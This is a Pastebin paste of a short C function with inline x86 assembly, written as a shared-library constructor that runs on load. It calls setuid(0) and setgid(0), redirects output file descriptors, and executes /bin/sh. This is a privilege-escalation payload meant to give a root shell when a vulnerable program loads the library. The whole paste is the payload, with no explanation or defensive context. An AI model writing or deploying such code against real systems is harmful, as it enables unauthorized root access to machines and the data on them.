Advertisement
Guest User

Untitled

a guest
May 27th, 2018
98
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.78 KB | None | 0 0
  1. static void __attribute__ ((constructor)) _init (void) {
  2. __asm__ __volatile__ (
  3. "addl $64, %esp;"
  4. // setuid(0);
  5. "movl $23, %eax;"
  6. "movl $0, %ebx;"
  7. "int $0x80;"
  8. // setgid(0);
  9. "movl $46, %eax;"
  10. "movl $0, %ebx;"
  11. "int $0x80;"
  12. // dup2(0, 1);
  13. "movl $63, %eax;"
  14. "movl $0, %ebx;"
  15. "movl $1, %ecx;"
  16. "int $0x80;"
  17. // dup2(0, 2);
  18. "movl $63, %eax;"
  19. "movl $0, %ebx;"
  20. "movl $2, %ecx;"
  21. "int $0x80;"
  22. // execve("/bin/sh");
  23. "movl $11, %eax;"
  24. "pushl $0x0068732f;"
  25. "pushl $0x6e69622f;"
  26. "movl %esp, %ebx;"
  27. "movl $0, %edx;"
  28. "pushl %edx;"
  29. "pushl %ebx;"
  30. "movl %esp, %ecx;"
  31. "int $0x80;"
  32. // exit(0);
  33. "movl $1, %eax;"
  34. "movl $0, %ebx;"
  35. "int $0x80;"
  36. );
  37. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement